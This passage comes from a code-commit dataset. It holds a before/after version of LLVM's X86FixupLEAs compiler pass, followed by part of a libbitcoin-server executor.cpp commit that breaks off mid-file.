true;\n}\n\nFixupLEAPass::RegUsageState\nFixupLEAPass::usesRegister(MachineOperand &p, MachineBasicBlock::iterator I) {\n  RegUsageState RegUsage = RU_NotUsed;\n  MachineInstr *MI = I;\n\n  for (unsigned int i = 0; i < MI->getNumOperands(); ++i) {\n    MachineOperand &opnd = MI->getOperand(i);\n    if (opnd.isReg() && opnd.getReg() == p.getReg()) {\n      if (opnd.isDef())\n        return RU_Write;\n      RegUsage = RU_Read;\n    }\n  }\n  return RegUsage;\n}\n\n\/\/\/ getPreviousInstr - Given a reference to an instruction in a basic\n\/\/\/ block, return a reference to the previous instruction in the block,\n\/\/\/ wrapping around to the last instruction of the block if the block\n\/\/\/ branches to itself.\nstatic inline bool getPreviousInstr(MachineBasicBlock::iterator &I,\n                                    MachineFunction::iterator MFI) {\n  if (I == MFI->begin()) {\n    if (MFI->isPredecessor(MFI)) {\n      I = --MFI->end();\n      return true;\n    } else\n      return false;\n  }\n  --I;\n  return true;\n}\n\nMachineBasicBlock::iterator\nFixupLEAPass::searchBackwards(MachineOperand &p, MachineBasicBlock::iterator &I,\n                              MachineFunction::iterator MFI) {\n  int InstrDistance = 1;\n  MachineBasicBlock::iterator CurInst;\n  static const int INSTR_DISTANCE_THRESHOLD = 5;\n\n  CurInst = I;\n  bool Found;\n  Found = getPreviousInstr(CurInst, MFI);\n  while (Found && I != CurInst) {\n    if (CurInst->isCall() || CurInst->isInlineAsm())\n      break;\n    if (InstrDistance > INSTR_DISTANCE_THRESHOLD)\n      break; \/\/ too far back to make a difference\n    if (usesRegister(p, CurInst) == RU_Write) {\n      return CurInst;\n    }\n    InstrDistance += TII->getInstrLatency(TM->getInstrItineraryData(), CurInst);\n    Found = getPreviousInstr(CurInst, MFI);\n  }\n  return nullptr;\n}\n\nvoid FixupLEAPass::processInstruction(MachineBasicBlock::iterator &I,\n                                      MachineFunction::iterator MFI) {\n  \/\/ Process a load, store, or LEA instruction.\n  MachineInstr *MI = I;\n  int opcode = MI->getOpcode();\n  const MCInstrDesc &Desc = MI->getDesc();\n  int AddrOffset = X86II::getMemoryOperandNo(Desc.TSFlags, opcode);\n  if (AddrOffset >= 0) {\n    AddrOffset += X86II::getOperandBias(Desc);\n    MachineOperand &p = MI->getOperand(AddrOffset + X86::AddrBaseReg);\n    if (p.isReg() && p.getReg() != X86::ESP) {\n      seekLEAFixup(p, I, MFI);\n    }\n    MachineOperand &q = MI->getOperand(AddrOffset + X86::AddrIndexReg);\n    if (q.isReg() && q.getReg() != X86::ESP) {\n      seekLEAFixup(q, I, MFI);\n    }\n  }\n}\n\nvoid FixupLEAPass::seekLEAFixup(MachineOperand &p,\n                                MachineBasicBlock::iterator &I,\n                                MachineFunction::iterator MFI) {\n  MachineBasicBlock::iterator MBI = searchBackwards(p, I, MFI);\n  if (MBI) {\n    MachineInstr *NewMI = postRAConvertToLEA(MFI, MBI);\n    if (NewMI) {\n      ++NumLEAs;\n      DEBUG(dbgs() << \"FixLEA: Candidate to replace:\"; MBI->dump(););\n      \/\/ now to replace with an equivalent LEA...\n      DEBUG(dbgs() << \"FixLEA: Replaced by: \"; NewMI->dump(););\n      MFI->erase(MBI);\n      MachineBasicBlock::iterator J =\n          static_cast<MachineBasicBlock::iterator>(NewMI);\n      processInstruction(J, MFI);\n    }\n  }\n}\n\nvoid FixupLEAPass::processInstructionForSLM(MachineBasicBlock::iterator &I,\n                                            MachineFunction::iterator MFI) {\n  MachineInstr *MI = I;\n  const int opcode = MI->getOpcode();\n  if (opcode != X86::LEA16r && opcode != X86::LEA32r && opcode != X86::LEA64r &&\n      opcode != X86::LEA64_32r)\n    return;\n  if (MI->getOperand(5).getReg() != 0 || !MI->getOperand(4).isImm() ||\n      !TII->isSafeToClobberEFLAGS(*MFI, I))\n    return;\n  const unsigned DstR = MI->getOperand(0).getReg();\n  const unsigned SrcR1 = MI->getOperand(1).getReg();\n  const unsigned SrcR2 = MI->getOperand(3).getReg();\n  if ((SrcR1 == 0 || SrcR1 != DstR) && (SrcR2 == 0 || SrcR2 != DstR))\n    return;\n  if (MI->getOperand(2).getImm() > 1)\n    return;\n  int addrr_opcode, addri_opcode;\n  switch (opcode) {\n  case X86::LEA16r:\n    addrr_opcode = X86::ADD16rr;\n    addri_opcode = X86::ADD16ri;\n    break;\n  case X86::LEA32r:\n    addrr_opcode = X86::ADD32rr;\n    addri_opcode = X86::ADD32ri;\n    break;\n  case X86::LEA64_32r:\n  case X86::LEA64r:\n    addrr_opcode = X86::ADD64rr;\n    addri_opcode = X86::ADD64ri32;\n    break;\n  default:\n    assert(false && \"Unexpected LEA instruction\");\n  }\n  DEBUG(dbgs() << \"FixLEA: Candidate to replace:\"; I->dump(););\n  DEBUG(dbgs() << \"FixLEA: Replaced by: \";);\n  MachineInstr *NewMI = nullptr;\n  const MachineOperand &Dst = MI->getOperand(0);\n  \/\/ Make ADD instruction for two registers writing to LEA's destination\n  if (SrcR1 != 0 && SrcR2 != 0) {\n    const MachineOperand &Src1 = MI->getOperand(SrcR1 == DstR ? 1 : 3);\n    const MachineOperand &Src2 = MI->getOperand(SrcR1 == DstR ? 3 : 1);\n    NewMI = BuildMI(*MF, MI->getDebugLoc(), TII->get(addrr_opcode))\n                .addOperand(Dst)\n                .addOperand(Src1)\n                .addOperand(Src2);\n    MFI->insert(I, NewMI);\n    DEBUG(NewMI->dump(););\n  }\n  \/\/ Make ADD instruction for immediate\n  if (MI->getOperand(4).getImm() != 0) {\n    const MachineOperand &SrcR = MI->getOperand(SrcR1 == DstR ? 1 : 3);\n    NewMI = BuildMI(*MF, MI->getDebugLoc(), TII->get(addri_opcode))\n                .addOperand(Dst)\n                .addOperand(SrcR)\n                .addImm(MI->getOperand(4).getImm());\n    MFI->insert(I, NewMI);\n    DEBUG(NewMI->dump(););\n  }\n  if (NewMI) {\n    MFI->erase(I);\n    I = static_cast<MachineBasicBlock::iterator>(NewMI);\n  }\n}\n\nbool FixupLEAPass::processBasicBlock(MachineFunction &MF,\n                                     MachineFunction::iterator MFI) {\n\n  for (MachineBasicBlock::iterator I = MFI->begin(); I != MFI->end(); ++I) {\n    if (TM->getSubtarget<X86Subtarget>().isSLM())\n      processInstructionForSLM(I, MFI);\n    else\n      processInstruction(I, MFI);\n  }\n  return false;\n}\n<commit_msg>Remove Atom references in description.<commit_after>\/\/===-- X86FixupLEAs.cpp - use or replace LEA instructions -----------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the pass that finds instructions that can be\n\/\/ re-written as LEA instructions in order to reduce pipeline delays.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"X86.h\"\n#include \"X86InstrInfo.h\"\n#include \"X86Subtarget.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/CodeGen\/LiveVariables.h\"\n#include \"llvm\/CodeGen\/MachineFunctionPass.h\"\n#include \"llvm\/CodeGen\/MachineInstrBuilder.h\"\n#include \"llvm\/CodeGen\/MachineRegisterInfo.h\"\n#include \"llvm\/CodeGen\/Passes.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Target\/TargetInstrInfo.h\"\nusing namespace llvm;\n\n#define DEBUG_TYPE \"x86-fixup-LEAs\"\n\nSTATISTIC(NumLEAs, \"Number of LEA instructions created\");\n\nnamespace {\nclass FixupLEAPass : public MachineFunctionPass {\n  enum RegUsageState { RU_NotUsed, RU_Write, RU_Read };\n  static char ID;\n  \/\/\/ \\brief Loop over all of the instructions in the basic block\n  \/\/\/ replacing applicable instructions with LEA instructions,\n  \/\/\/ where appropriate.\n  bool processBasicBlock(MachineFunction &MF, MachineFunction::iterator MFI);\n\n  const char *getPassName() const override { return \"X86 LEA Fixup\"; }\n\n  \/\/\/ \\brief Given a machine register, look for the instruction\n  \/\/\/ which writes it in the current basic block. If found,\n  \/\/\/ try to replace it with an equivalent LEA instruction.\n  \/\/\/ If replacement succeeds, then also process the the newly created\n  \/\/\/ instruction.\n  void seekLEAFixup(MachineOperand &p, MachineBasicBlock::iterator &I,\n                    MachineFunction::iterator MFI);\n\n  \/\/\/ \\brief Given a memory access or LEA instruction\n  \/\/\/ whose address mode uses a base and\/or index register, look for\n  \/\/\/ an opportunity to replace the instruction which sets the base or index\n  \/\/\/ register with an equivalent LEA instruction.\n  void processInstruction(MachineBasicBlock::iterator &I,\n                          MachineFunction::iterator MFI);\n\n  \/\/\/ \\brief Given a LEA instruction which is unprofitable\n  \/\/\/ on Silvermont try to replace it with an equivalent ADD instruction\n  void processInstructionForSLM(MachineBasicBlock::iterator &I,\n                                MachineFunction::iterator MFI);\n\n  \/\/\/ \\brief Determine if an instruction references a machine register\n  \/\/\/ and, if so, whether it reads or writes the register.\n  RegUsageState usesRegister(MachineOperand &p, MachineBasicBlock::iterator I);\n\n  \/\/\/ \\brief Step backwards through a basic block, looking\n  \/\/\/ for an instruction which writes a register within\n  \/\/\/ a maximum of INSTR_DISTANCE_THRESHOLD instruction latency cycles.\n  MachineBasicBlock::iterator searchBackwards(MachineOperand &p,\n                                              MachineBasicBlock::iterator &I,\n                                              MachineFunction::iterator MFI);\n\n  \/\/\/ \\brief if an instruction can be converted to an\n  \/\/\/ equivalent LEA, insert the new instruction into the basic block\n  \/\/\/ and return a pointer to it. Otherwise, return zero.\n  MachineInstr *postRAConvertToLEA(MachineFunction::iterator &MFI,\n                                   MachineBasicBlock::iterator &MBBI) const;\n\npublic:\n  FixupLEAPass() : MachineFunctionPass(ID) {}\n\n  \/\/\/ \\brief Loop over all of the basic blocks,\n  \/\/\/ replacing instructions by equivalent LEA instructions\n  \/\/\/ if needed and when possible.\n  bool runOnMachineFunction(MachineFunction &MF) override;\n\nprivate:\n  MachineFunction *MF;\n  const TargetMachine *TM;\n  const X86InstrInfo *TII; \/\/ Machine instruction info.\n};\nchar FixupLEAPass::ID = 0;\n}\n\nMachineInstr *\nFixupLEAPass::postRAConvertToLEA(MachineFunction::iterator &MFI,\n                                 MachineBasicBlock::iterator &MBBI) const {\n  MachineInstr *MI = MBBI;\n  MachineInstr *NewMI;\n  switch (MI->getOpcode()) {\n  case X86::MOV32rr:\n  case X86::MOV64rr: {\n    const MachineOperand &Src = MI->getOperand(1);\n    const MachineOperand &Dest = MI->getOperand(0);\n    NewMI = BuildMI(*MF, MI->getDebugLoc(),\n                    TII->get(MI->getOpcode() == X86::MOV32rr ? X86::LEA32r\n                                                             : X86::LEA64r))\n                .addOperand(Dest)\n                .addOperand(Src)\n                .addImm(1)\n                .addReg(0)\n                .addImm(0)\n                .addReg(0);\n    MFI->insert(MBBI, NewMI); \/\/ Insert the new inst\n    return NewMI;\n  }\n  case X86::ADD64ri32:\n  case X86::ADD64ri8:\n  case X86::ADD64ri32_DB:\n  case X86::ADD64ri8_DB:\n  case X86::ADD32ri:\n  case X86::ADD32ri8:\n  case X86::ADD32ri_DB:\n  case X86::ADD32ri8_DB:\n  case X86::ADD16ri:\n  case X86::ADD16ri8:\n  case X86::ADD16ri_DB:\n  case X86::ADD16ri8_DB:\n    if (!MI->getOperand(2).isImm()) {\n      \/\/ convertToThreeAddress will call getImm()\n      \/\/ which requires isImm() to be true\n      return nullptr;\n    }\n    break;\n  case X86::ADD16rr:\n  case X86::ADD16rr_DB:\n    if (MI->getOperand(1).getReg() != MI->getOperand(2).getReg()) {\n      \/\/ if src1 != src2, then convertToThreeAddress will\n      \/\/ need to create a Virtual register, which we cannot do\n      \/\/ after register allocation.\n      return nullptr;\n    }\n  }\n  return TII->convertToThreeAddress(MFI, MBBI, nullptr);\n}\n\nFunctionPass *llvm::createX86FixupLEAs() { return new FixupLEAPass(); }\n\nbool FixupLEAPass::runOnMachineFunction(MachineFunction &Func) {\n  MF = &Func;\n  TM = &Func.getTarget();\n  const X86Subtarget &ST = TM->getSubtarget<X86Subtarget>();\n  if (!ST.LEAusesAG() && !ST.slowLEA())\n    return false;\n\n  TII = static_cast<const X86InstrInfo *>(TM->getInstrInfo());\n\n  DEBUG(dbgs() << \"Start X86FixupLEAs\\n\";);\n  \/\/ Process all basic blocks.\n  for (MachineFunction::iterator I = Func.begin(), E = Func.end(); I != E; ++I)\n    processBasicBlock(Func, I);\n  DEBUG(dbgs() << \"End X86FixupLEAs\\n\";);\n\n  return true;\n}\n\nFixupLEAPass::RegUsageState\nFixupLEAPass::usesRegister(MachineOperand &p, MachineBasicBlock::iterator I) {\n  RegUsageState RegUsage = RU_NotUsed;\n  MachineInstr *MI = I;\n\n  for (unsigned int i = 0; i < MI->getNumOperands(); ++i) {\n    MachineOperand &opnd = MI->getOperand(i);\n    if (opnd.isReg() && opnd.getReg() == p.getReg()) {\n      if (opnd.isDef())\n        return RU_Write;\n      RegUsage = RU_Read;\n    }\n  }\n  return RegUsage;\n}\n\n\/\/\/ getPreviousInstr - Given a reference to an instruction in a basic\n\/\/\/ block, return a reference to the previous instruction in the block,\n\/\/\/ wrapping around to the last instruction of the block if the block\n\/\/\/ branches to itself.\nstatic inline bool getPreviousInstr(MachineBasicBlock::iterator &I,\n                                    MachineFunction::iterator MFI) {\n  if (I == MFI->begin()) {\n    if (MFI->isPredecessor(MFI)) {\n      I = --MFI->end();\n      return true;\n    } else\n      return false;\n  }\n  --I;\n  return true;\n}\n\nMachineBasicBlock::iterator\nFixupLEAPass::searchBackwards(MachineOperand &p, MachineBasicBlock::iterator &I,\n                              MachineFunction::iterator MFI) {\n  int InstrDistance = 1;\n  MachineBasicBlock::iterator CurInst;\n  static const int INSTR_DISTANCE_THRESHOLD = 5;\n\n  CurInst = I;\n  bool Found;\n  Found = getPreviousInstr(CurInst, MFI);\n  while (Found && I != CurInst) {\n    if (CurInst->isCall() || CurInst->isInlineAsm())\n      break;\n    if (InstrDistance > INSTR_DISTANCE_THRESHOLD)\n      break; \/\/ too far back to make a difference\n    if (usesRegister(p, CurInst) == RU_Write) {\n      return CurInst;\n    }\n    InstrDistance += TII->getInstrLatency(TM->getInstrItineraryData(), CurInst);\n    Found = getPreviousInstr(CurInst, MFI);\n  }\n  return nullptr;\n}\n\nvoid FixupLEAPass::processInstruction(MachineBasicBlock::iterator &I,\n                                      MachineFunction::iterator MFI) {\n  \/\/ Process a load, store, or LEA instruction.\n  MachineInstr *MI = I;\n  int opcode = MI->getOpcode();\n  const MCInstrDesc &Desc = MI->getDesc();\n  int AddrOffset = X86II::getMemoryOperandNo(Desc.TSFlags, opcode);\n  if (AddrOffset >= 0) {\n    AddrOffset += X86II::getOperandBias(Desc);\n    MachineOperand &p = MI->getOperand(AddrOffset + X86::AddrBaseReg);\n    if (p.isReg() && p.getReg() != X86::ESP) {\n      seekLEAFixup(p, I, MFI);\n    }\n    MachineOperand &q = MI->getOperand(AddrOffset + X86::AddrIndexReg);\n    if (q.isReg() && q.getReg() != X86::ESP) {\n      seekLEAFixup(q, I, MFI);\n    }\n  }\n}\n\nvoid FixupLEAPass::seekLEAFixup(MachineOperand &p,\n                                MachineBasicBlock::iterator &I,\n                                MachineFunction::iterator MFI) {\n  MachineBasicBlock::iterator MBI = searchBackwards(p, I, MFI);\n  if (MBI) {\n    MachineInstr *NewMI = postRAConvertToLEA(MFI, MBI);\n    if (NewMI) {\n      ++NumLEAs;\n      DEBUG(dbgs() << \"FixLEA: Candidate to replace:\"; MBI->dump(););\n      \/\/ now to replace with an equivalent LEA...\n      DEBUG(dbgs() << \"FixLEA: Replaced by: \"; NewMI->dump(););\n      MFI->erase(MBI);\n      MachineBasicBlock::iterator J =\n          static_cast<MachineBasicBlock::iterator>(NewMI);\n      processInstruction(J, MFI);\n    }\n  }\n}\n\nvoid FixupLEAPass::processInstructionForSLM(MachineBasicBlock::iterator &I,\n                                            MachineFunction::iterator MFI) {\n  MachineInstr *MI = I;\n  const int opcode = MI->getOpcode();\n  if (opcode != X86::LEA16r && opcode != X86::LEA32r && opcode != X86::LEA64r &&\n      opcode != X86::LEA64_32r)\n    return;\n  if (MI->getOperand(5).getReg() != 0 || !MI->getOperand(4).isImm() ||\n      !TII->isSafeToClobberEFLAGS(*MFI, I))\n    return;\n  const unsigned DstR = MI->getOperand(0).getReg();\n  const unsigned SrcR1 = MI->getOperand(1).getReg();\n  const unsigned SrcR2 = MI->getOperand(3).getReg();\n  if ((SrcR1 == 0 || SrcR1 != DstR) && (SrcR2 == 0 || SrcR2 != DstR))\n    return;\n  if (MI->getOperand(2).getImm() > 1)\n    return;\n  int addrr_opcode, addri_opcode;\n  switch (opcode) {\n  case X86::LEA16r:\n    addrr_opcode = X86::ADD16rr;\n    addri_opcode = X86::ADD16ri;\n    break;\n  case X86::LEA32r:\n    addrr_opcode = X86::ADD32rr;\n    addri_opcode = X86::ADD32ri;\n    break;\n  case X86::LEA64_32r:\n  case X86::LEA64r:\n    addrr_opcode = X86::ADD64rr;\n    addri_opcode = X86::ADD64ri32;\n    break;\n  default:\n    assert(false && \"Unexpected LEA instruction\");\n  }\n  DEBUG(dbgs() << \"FixLEA: Candidate to replace:\"; I->dump(););\n  DEBUG(dbgs() << \"FixLEA: Replaced by: \";);\n  MachineInstr *NewMI = nullptr;\n  const MachineOperand &Dst = MI->getOperand(0);\n  \/\/ Make ADD instruction for two registers writing to LEA's destination\n  if (SrcR1 != 0 && SrcR2 != 0) {\n    const MachineOperand &Src1 = MI->getOperand(SrcR1 == DstR ? 1 : 3);\n    const MachineOperand &Src2 = MI->getOperand(SrcR1 == DstR ? 3 : 1);\n    NewMI = BuildMI(*MF, MI->getDebugLoc(), TII->get(addrr_opcode))\n                .addOperand(Dst)\n                .addOperand(Src1)\n                .addOperand(Src2);\n    MFI->insert(I, NewMI);\n    DEBUG(NewMI->dump(););\n  }\n  \/\/ Make ADD instruction for immediate\n  if (MI->getOperand(4).getImm() != 0) {\n    const MachineOperand &SrcR = MI->getOperand(SrcR1 == DstR ? 1 : 3);\n    NewMI = BuildMI(*MF, MI->getDebugLoc(), TII->get(addri_opcode))\n                .addOperand(Dst)\n                .addOperand(SrcR)\n                .addImm(MI->getOperand(4).getImm());\n    MFI->insert(I, NewMI);\n    DEBUG(NewMI->dump(););\n  }\n  if (NewMI) {\n    MFI->erase(I);\n    I = static_cast<MachineBasicBlock::iterator>(NewMI);\n  }\n}\n\nbool FixupLEAPass::processBasicBlock(MachineFunction &MF,\n                                     MachineFunction::iterator MFI) {\n\n  for (MachineBasicBlock::iterator I = MFI->begin(); I != MFI->end(); ++I) {\n    if (TM->getSubtarget<X86Subtarget>().isSLM())\n      processInstructionForSLM(I, MFI);\n    else\n      processInstruction(I, MFI);\n  }\n  return false;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2011-2019 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"executor.hpp\"\n\n#include <csignal>\n#include <functional>\n#include <future>\n#include <iostream>\n#include <memory>\n#include <mutex>\n#include <boost\/core\/null_deleter.hpp>\n#include <boost\/filesystem.hpp>\n#include <bitcoin\/server.hpp>\n\nnamespace libbitcoin {\nnamespace server {\n\nusing boost::format;\nusing namespace boost;\nusing namespace boost::filesystem;\nusing namespace boost::system;\nusing namespace bc::database;\nusing namespace bc::network;\nusing namespace bc::system;\nusing namespace bc::system::chain;\nusing namespace bc::system::config;\nusing namespace std::placeholders;\n\nnamespace keywords = boost::log::keywords;\n\nstatic const auto application_name = \"bs\";\nstatic constexpr int initialize_stop = 0;\nstatic constexpr int directory_exists = 0;\nstatic constexpr int directory_not_found = 2;\nstatic const auto mode = std::ofstream::out | std::ofstream::app;\n\nstd::promise<code> executor::stopping_;\n\nexecutor::executor(parser& metadata, std::istream& ,\n    std::ostream& output, std::ostream& error)\n  : metadata_(metadata), output_(output), error_(error)\n{\n    const auto& network = metadata_.configured.network;\n    const auto verbose = network.verbose;\n\n    const log::rotable_file debug_file\n    {\n        network.debug_file,\n        network.archive_directory,\n        network.rotation_size,\n        network.maximum_archive_size,\n        network.minimum_free_space,\n        network.maximum_archive_files\n    };\n\n    const log::rotable_file error_file\n    {\n        network.error_file,\n        network.archive_directory,\n        network.rotation_size,\n        network.maximum_archive_size,\n        network.minimum_free_space,\n        network.maximum_archive_files\n    };\n\n    log::stream console_out(&output_, null_deleter());\n    log::stream console_err(&error_, null_deleter());\n\n    log::initialize(debug_file, error_file, console_out, console_err, verbose);\n    handle_stop(initialize_stop);\n}\n\n\/\/ Command line options.\n\/\/ ----------------------------------------------------------------------------\n\/\/ Emit directly to standard output (not the log).\n\nvoid executor::do_help()\n{\n    const auto options = metadata_.load_options();\n    printer help(options, application_name, BS_INFORMATION_MESSAGE);\n    help.initialize();\n    help.commandline(output_);\n}\n\nvoid executor::do_settings()\n{\n    const auto settings = metadata_.load_settings();\n    printer print(settings, application_name, BS_SETTINGS_MESSAGE);\n    print.initialize();\n    print.settings(output_);\n}\n\nvoid executor::do_version()\n{\n    output_ << format(BS_VERSION_MESSAGE) %\n        LIBBITCOIN_SERVER_VERSION %\n        LIBBITCOIN_PROTOCOL_VERSION %\n        LIBBITCOIN_NODE_VERSION %\n        LIBBITCOIN_BLOCKCHAIN_VERSION %\n        LIBBITCOIN_SYSTEM_VERSION << std::endl;\n}\n\n\/\/ Emit to the log.\nbool executor::do_initchain()\n{\n    initialize_output();\n\n    error_code ec;\n    const auto& directory = metadata_.configured.database.directory;\n\n    if (create_directories(directory, ec))\n    {\n        LOG_INFO(LOG_SERVER) << format(BS_INITIALIZING_CHAIN) % directory;\n\n        const auto& bitcoin_settings = metadata_.configured.bitcoin;\n        const auto result = data_base(metadata_.configured.database,\n            metadata_.configured.chain.index_payments).create(\n                bitcoin_settings.genesis_block);\n\n        LOG_INFO(LOG_SERVER) << BS_INITCHAIN_COMPLETE;\n        return result;\n    }\n\n    if (ec.value() == directory_exists)\n    {\n        LOG_ERROR(LOG_SERVER) << format(BS_INITCHAIN_EXISTS) % directory;\n        return false;\n    }\n\n    LOG_ERROR(LOG_SERVER) << format(BS_INITCHAIN_NEW) % directory % ec.message();\n    return false;\n}\n\n\/\/ Menu selection.\n\/\/ ----------------------------------------------------------------------------\n\nbool executor::menu()\n{\n    const auto& config = metadata_.configured;\n\n    if (config.help)\n    {\n        do_help();\n        return true;\n    }\n\n    if (config.settings)\n    {\n        do_settings();\n        return true;\n    }\n\n    if (config.version)\n    {\n        do_version();\n        return true;\n    }\n\n    if (config.initchain)\n    {\n        return do_initchain();\n    }\n\n    \/\/ There are no command line arguments, just run the server.\n    return run();\n}\n\n\/\/ Run.\n\/\/ ----------------------------------------------------------------------------\n\nbool executor::run()\n{\n    initialize_output();\n\n    LOG_INFO(LOG_SERVER) << BS_NODE_STARTING;\n\n    if (!verify_directory())\n        return false;\n\n    \/\/ Now that the directory is verified we can create the node for it.\n    node_ = std::make_shared<server_node>(metadata_.configured);\n\n    \/\/ Initialize broadcast to statistics server if configured.\n    log::initialize_statsd(node_->thread_pool(),\n        metadata_.configured.network.statistics_server);\n\n    \/\/ The callback may be returned on the same thread.\n    node_->start(\n        std::bind(&executor::handle_started,\n            this, _1));\n\n    \/\/ Wait for stop.\n    stopping_.get_future().wait();\n\n    LOG_INFO(LOG_SERVER) << BS_NODE_STOPPING;\n\n    \/\/ Close must be called from main thread.\n    if (node_->close())\n        LOG_INFO(LOG_NODE) << BS_NODE_STOPPED;\n    else\n        LOG_INFO(LOG_NODE) << BS_NODE_STOP_FAIL;\n\n    return true;\n}\n\n\/\/ Handle the completion of the start sequence and begin the run sequence.\nvoid executor::handle_started(const code& ec)\n{\n    \/\/ TEMP: use to repro start\/stop deadlock race.\n    \/\/\/\/auto thread = std::thread([this]() { stop(error::service_stopped); });\n\n    if (ec)\n    {\n        LOG_ERROR(LOG_SERVER) << format(BS_NODE_START_FAIL) % ec.message();\n        stop(ec);\n        return;\n    }\n\n    LOG_INFO(LOG_SERVER) << BS_NODE_SEEDED;\n\n    \/\/ This is the beginning of the stop sequence.\n    node_->subscribe_stop(\n        std::bind(&executor::handle_stopped,\n            this, _1));\n\n    \/\/ This is the beginning of the run sequence.\n    node_->run(\n        std::bind(&executor::handle_running,\n            this, _1));\n\n    \/\/ TEMP: see above.\n    \/\/\/\/thread.join();\n}\n\n\/\/ This is the end of the run sequence.\nvoid executor::handle_running(const code& ec)\n{\n    if (ec)\n    {\n        LOG_INFO(LOG_SERVER) << format(BS_NODE_START_FAIL) % ec.message();\n        stop(ec);\n        return;\n    }\n\n    LOG_INFO(LOG_SERVER) << BS_NODE_STARTED;\n}\n\n\/\/ This is the end of the stop sequence.\nvoid executor::handle_stopped(const code& ec)\n{\n    stop(ec);\n}\n\n\/\/ Stop signal.\n\/\/ ----------------------------------------------------------------------------\n\nvoid executor::handle_stop(int code)\n{\n    \/\/ Reinitialize after each capture to prevent hard shutdown.\n    \/\/ Do not capture failure signals as calling stop can cause flush lock file\n    \/\/ to clear due to the aborted thread dropping the flush lock mutex.\n    std::signal(SIGINT, handle_stop);\n    std::signal(SIGTERM, handle_stop);\n\n    if (code == initialize_stop)\n        return;\n\n    LOG_INFO(LOG_SERVER) << format(BS_NODE_SIGNALED) % code;\n    stop(error::success);\n}\n\nvoid executor::stop(const code& ec)\n{\n    static std::once_flag stop_mutex;\n    std::call_once(stop_mutex, [&](){ stopping_.set_value(ec); });\n}\n\n\/\/ Utilities.\n\/\/ ----------------------------------------------------------------------------\n\n\/\/ Set up logging.\nvoid executor::initialize_output()\n{\n    const auto header = format(BS_LOG_HEADER) % local_time();\n    LOG_DEBUG(LOG_SERVER) << header;\n    LOG_INFO(LOG_SERVER) << header;\n    LOG_WARNING(LOG_SERVER) << header;\n    LOG_ERROR(LOG_SERVER) << header;\n    LOG_FATAL(LOG_SERVER) << header;\n\n    const auto& file = metadata_.configured.file;\n\n    if (file.empty())\n        LOG_INFO(LOG_SERVER) << BS_USING_DEFAULT_CONFIG;\n    else\n        LOG_INFO(LOG_SERVER) << format(BS_USING_CONFIG_FILE) % file;\n}\n\n\/\/ Use missing directory as a sentinel indicating lack of initialization.\nbool executor::verify_directory()\n{\n    error_code ec;\n    const auto& directory = metadata_.configured.database.directory;\n\n    if (exists(directory, ec))\n        return true;\n\n    if (ec.value() == directory_not_found)\n    {\n        LOG_ERROR(LOG_SERVER) << format(BS_UNINITIALIZED_CHAIN) % directory;\n        return false;\n    }\n\n    const auto message = ec.message();\n    LOG_ERROR(LOG_SERVER) << format(BS_INITCHAIN_TRY) % directory % message;\n    return false;\n}\n\n} \/\/ namespace server\n} \/\/ namespace libbitcoin\n<commit_msg>Fix break introduced by signature change in libbitcoin-database.<commit_after>\/**\n * Copyright (c) 2011-2019 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"executor.hpp\"\n\n#include <csignal>\n#include <functional>\n#include <future>\n#include <iostream>\n#include <memory>\n#include <mutex>\n#include <boost\/core\/null_deleter.hpp>\n#include <boost\/filesystem.hpp>\n#include <bitcoin\/server.hpp>\n\nnamespace libbitcoin {\nnamespace server {\n\nusing boost::format;\nusing namespace boost;\nusing namespace boost::filesystem;\nusing namespace boost::system;\nusing namespace bc::database;\nusing namespace bc::network;\nusing namespace bc::system;\nusing namespace bc::system::chain;\nusing namespace bc::system::config;\nusing namespace std::placeholders;\n\nnamespace keywords = boost::log::keywords;\n\nstatic const auto application_name = \"bs\";\nstatic constexpr int initialize_stop = 0;\nstatic constexpr int directory_exists = 0;\nstatic constexpr int directory_not_found = 2;\nstatic const auto mode = std::ofstream::out | std::ofstream::app;\n\nstd::promise<code> executor::stopping_;\n\nexecutor::executor(parser& metadata, std::istream& ,\n    std::ostream& output, std::ostream& error)\n  : metadata_(metadata), output_(output), error_(error)\n{\n    const auto& network = metadata_.configured.network;\n    const auto verbose = network.verbose;\n\n    const log::rotable_file debug_file\n    {\n        network.debug_file,\n        network.archive_directory,\n        network.rotation_size,\n        network.maximum_archive_size,\n        network.minimum_free_space,\n        network.maximum_archive_files\n    };\n\n    const log::rotable_file error_file\n    {\n        network.error_file,\n        network.archive_directory,\n        network.rotation_size,\n        network.maximum_archive_size,\n        network.minimum_free_space,\n        network.maximum_archive_files\n    };\n\n    log::stream console_out(&output_, null_deleter());\n    log::stream console_err(&error_, null_deleter());\n\n    log::initialize(debug_file, error_file, console_out, console_err, verbose);\n    handle_stop(initialize_stop);\n}\n\n\/\/ Command line options.\n\/\/ ----------------------------------------------------------------------------\n\/\/ Emit directly to standard output (not the log).\n\nvoid executor::do_help()\n{\n    const auto options = metadata_.load_options();\n    printer help(options, application_name, 